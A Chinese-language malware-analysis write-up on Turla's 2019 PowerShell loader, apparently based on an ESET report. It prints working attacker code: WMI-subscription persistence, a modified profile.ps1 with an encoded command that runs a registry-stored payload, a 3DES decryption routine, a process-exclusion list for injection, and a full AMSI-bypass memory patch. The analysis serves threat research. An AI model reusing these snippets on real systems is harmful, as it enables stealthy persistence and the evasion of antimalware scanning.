Turla PowerShell攻擊手法學習
這個樣本是在2019年5月中使用的一個powershell樣本。
背景
Turla,也被稱為 Snake,是一個臭名昭著的間諜組織,以其復雜的惡意軟件而聞名。Turla 至少從 2008 年就開始運作,當時它成功攻擊了美國軍隊。最近,它參與了對德國外交部和法國軍隊的重大攻擊事件。
為了混淆檢測,在2019年中開始使用 PowerShell 腳本,這些腳本提供惡意軟件可執行文件和庫的直接內存加載和執行的能力。
在2018 年中,卡巴斯基實驗室發布了一份報告,分析了基于開源項目Posh-SecMod的 Turla PowerShell 加載器。然而,當時它有很多問題,例如經常崩潰。
在2019年中,Turla 改進了這些腳本,可以使用它們從其傳統武器庫中加載各種自定義惡意軟件。
這個樣本是在東歐中的一次攻擊中發現的。
PowerShell 加載器
PowerShell 加載器具有三個主要步驟:持久化、解密和加載到嵌入式可執行文件或庫的內存中。
持久化
在樣本中的powershell腳本中會利用進行維權操作,這個樣本中我們可以知道使用了2種方法進行維權:
Windows Management Instrumentation (WMI) 事件訂閱
PowerShell 配置文件(profile.ps1文件)的更改。
Windows 管理規范
在第一種情況下,攻擊者創建兩個 WMI事件過濾器和兩個 WMI事件操作(Consumer)。Consumer只是啟動 base64 編碼的 PowerShell 命令的命令行,然后加載存儲在 Windows 注冊表中的PowerShell 腳本。
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Syslog Consumer'" | Remove-WmiObject;
$NLP35gh = Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{ name = 'Syslog Consumer'; CommandLineTemplate = "$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -enc $HL39fjh"; RunInteractively = 'false' };
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Log Adapter Filter'" | Remove-WmiObject;Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Log Adapter' } | Remove-WmiObject;$IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=15 AND TargetInstance.Minute=30 AND TargetInstance.Second=40";$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'Log Adapter Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='AD Bridge Filter'" | Remove-WmiObject;Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'AD Bridge' } | Remove-WmiObject;$IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400";$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'AD Bridge Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };
這些事件將分別在 15:30:40 和系統正常運行時間在 300 到 400 秒之間運行。變量$HL39fjh包含 base64 編碼的 PowerShell 命令,它讀取存儲加密負載的 Windows 注冊表項,并包含解密負載所需的密碼和鹽。
[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String(">)) | iex ;[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty '$ZM172da').'$WY79ad')) | iex
最后,腳本將加密的有效負載存儲在 Windows 注冊表中。我們觀察到攻擊者似乎對每個目標使用不同的注冊表位置。
Profile.ps1
在后一種情況下,攻擊者會更改 PowerShell 配置文件。
根據微軟文檔:
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2&viewFallbackFrom=powershell-6 You can create a PowerShell profile to customize your environment and to add session-specific elements to every PowerShell session that you start.A PowerShell profile is a script that runs when PowerShell starts. You can use the profile as a logon script to customize the environment. You can add commands, aliases, functions, variables, snap-ins, modules, and PowerShell drives. You can also add other session-specific elements to your profile so they are available in every session without having to import or re-create them.PowerShell supports several profiles for users and host programs. However, it does not create the profiles for you. This topic describes the profiles, and it describes how to create and maintain profiles on your computer.It explains how to use the NoProfile parameter of the PowerShell console (PowerShell.exe) to start PowerShell without any profiles. And, it explains the effect of the PowerShell execution policy on profiles.
PowerShell 配置文件是在 PowerShell 啟動時運行的腳本。我們可以將配置文件用作登錄腳本來自定義環境。我們也可以添加命令、別名、函數、變量、管理單元、模塊和 PowerShell 驅動器。
在樣本中,Turla 修改的 PowerShell 配置文件:
try{ $SystemProc = (Get-WmiObject 'Win32_Process' | ?{$_.ProcessId -eq $PID} | % {Invoke-WmiMethod -InputObject $_ -Name 'GetOwner'} | ?{(Get-WmiObject -Class Win32_Account -Filter "name='$($_.User)'").SID -eq "S-1-5-18"}) if ("$SystemProc" -ne "") { $([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("$([DateTime]::Now.ToString('G')): STARTED ") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append; [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("IABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBKAEYAZABJAFIAegBRADQATQBXAFIAawBJAEQAMABuAFEAMQBsAEQAVgBEAE0ANQBNAHoAUQB3AFoAbQBaAG8ASgB6AHMAZwBKAEUAWgBaAE4AVABKAGoAWgBUADAAbgBUAGsATgBEAFUAagBrADUATgB6AEIAbwBaAG0AaABqAEoAegBzAGcASQBBAD0APQAiACkAKQAgAHwAIABpAGUAeAAgADsAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAQQBjAHQAaQB2AGUAWAAgAEMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAXAB7ADIAMgA2AGUAZAA1ADMAMwAtAGYAMQBiADAALQA0ADgAMQBkAC0AYQBkADIANgAtADAAYQBlADcAOABiAGMAZQA4ADEAZAA3AH0AJwApAC4AJwAoAEQAZQBmAGEAdQBsAHQAKQAnACkAKQAgAHwAIABpAGUAeAA=")) | iex | Out-Null; kill $PID; }}catch{$([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("$([DateTime]::Now.ToString('G')): $_ ") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append}
base64 編碼的 PowerShell 命令與 WMI Consumer中使用的命令非常相似。
解密
存儲在 Windows 注冊表中的負載是另一個 PowerShell 腳本。它是使用滲透測試框架PowerSploit 中的開源腳本Out-EncryptedScript.ps1生成的。
變量名被隨機化:
$GSP540cd = "";$RS99ggf = $XZ228hha.GetBytes("PINGQXOMQFTZGDZX");$STD33abh = [Convert]::FromBase64String($GSP540cd);$SB49gje = New-Object System.Security.Cryptography.PasswordDeriveBytes($IY51aab, $XZ228hha.GetBytes($CBI61aeb), "SHA1", 2);[Byte[]]$XYW18ja = $SB49gje.GetBytes(16);$EN594ca = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;$EN594ca.Mode = [System.Security.Cryptography.CipherMode]::CBC;[Byte[]]$ID796ea = New-Object Byte[]($STD33abh.Length);$ZQD772bf = $EN594ca.CreateDecryptor($XYW18ja, $RS99ggf);$DCR12ffg = New-Object System.IO.MemoryStream($STD33abh, $True);$WG731ff = New-Object System.Security.Cryptography.CryptoStream($DCR12ffg, $ZQD772bf, [System.Security.Cryptography.CryptoStreamMode]::Read);$XBD387bb = $WG731ff.Read($ID796ea, 0, $ID796ea.Length);$OQ09hd = [YR300hf]::IWM01jdg($ID796ea);$DCR12ffg.Close();$WG731ff.Close();$EN594ca.Clear();return $XZ228hha.GetString($OQ09hd,0,$OQ09hd.Length);
有效載荷使用3DES算法解密。本示例中的初始化向量PINGQXOMQFTZGDZX對每個樣本都不同。
每個腳本的key和salt也不同,不存儲在腳本中,而只存儲在WMI過濾器或profile.ps1文件中。
PE loader
在上一步解密的有效負載是一個 PowerShell 反射加載器。它基于來自同一個 PowerSploit 框架的腳本Invoke-ReflectivePEInjection.ps1。可執行文件硬編碼在腳本中,并注入目標系統上運行的隨機選擇的進程的內存中。
在一些示例中,攻擊者指定了不注入二進制文件的可執行文件列表
$IgnoreNames = @( "smss.exe","csrss.exe","wininit.exe","winlogon.exe","lsass.exe","lsm.exe","svchost.exe","avp.exe","avpsus.exe","klnagent.exe","vapm.exe","spoolsv.exe" );
AMSI 旁路
在 2019 年 3 月以來部署的一些示例中,Turla 開發人員修改了他們的 PowerShell 腳本以繞過反惡意軟件掃描接口 (AMSI)。
但是他們沒有找到新的繞過方法,而是重新使用了在 2018 年 Black Hat Asia 上的演講The Rise and Fall of AMSI 中提出的技術。它由庫amsi.dll 中函數AmsiScanBuffer開頭的內存補丁組成。
PowerShell 腳本加載 .NET 可執行文件以檢索AmsiScanBuffer的地址。然后,它調用VirtualProtect以允許在檢索到的地址進行寫入。
最后,修補直接在 PowerShell 腳本中完成。它將AmsiScanBuffer的開頭修改為始終返回 1 ( AMSI_RESULT_NOT_DETECTED )。因此,反惡意軟件產品將不會接收緩沖區,從而阻止任何掃描。
$ptr = [Win32]::FindAmsiFun();if($ptr -eq 0){ Write-Host "protection not found"}else{ if([IntPtr]::size -eq 4) { Write-Host "x32 protection detected" $buf = New-Object Byte[] 7 $buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00; #mov ax, 1 ;ret 0x18; $c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7) } else { Write-Host "x64 protection detected" $buf = New-Object Byte[] 6 $buf[0] = 0xb8; $buf[1] = 0x01; $buf[2] = 0x00; $buf[3] = 0x00; $buf[4] = 0x00; $buf[5] = 0xc3; #mov eax, 1 ;ret; $c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 6) }
}
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/